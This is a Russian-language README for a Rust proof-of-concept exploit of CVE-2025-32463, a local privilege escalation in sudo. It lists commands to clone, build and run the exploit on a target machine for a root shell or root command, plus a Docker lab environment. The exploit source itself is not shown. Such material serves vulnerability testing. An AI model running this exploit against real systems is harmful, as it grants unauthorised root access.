CVE-2025-32463 Эксплойт повышения привилегий в sudo PoC (Rust)

Использование готового бинарного файла

1. Клонируйте репозиторий и запустите бинарный файл на целевой машине.

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git

cd CVE-2025-32463-Chwoot-POC

./exploit

Сборка из исходного кода

1. Клонируйте репозиторий (если ещё не сделано)

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git
cd CVE-2025-32463-Chwoot-POC

2. Соберите бинарный файл Rust в режиме release

cargo build --release

Скомпилированный бинарный файл будет находиться по адресу:

./target/release/CVE-2025-32463-Chwoot-POC

Использование

Запустите бинарный файл эксплойта с необязательными аргументами команды:

• Чтобы запустить интерактивную оболочку root:

sudo ./target/release/CVE-2025-32463-Chwoot-POC

• Чтобы выполнить конкретную команду от имени root (например, id):

sudo ./target/release/CVE-2025-32463-Chwoot-POC "id"

Использование Docker

В качестве альтернативы можно использовать предоставленный контейнер Docker для изолированной уязвимой среды со всеми установленными зависимостями.

1. Соберите образ Docker

docker build -t sudo-chwoot .

2. Запустите контейнер в интерактивном режиме (если не сработает, попробуйте использовать идентификатор образа вместо sudo-chwoot. Его можно получить с помощью sudo docker images)

docker run --rm -it --privileged sudo-chwoot 

3. Внутри контейнера запустите эксплойт

cd /home/pwn/CVE-2025-32463-Rust-POC
./target/release/CVE-2025-32463-Chwoot-POC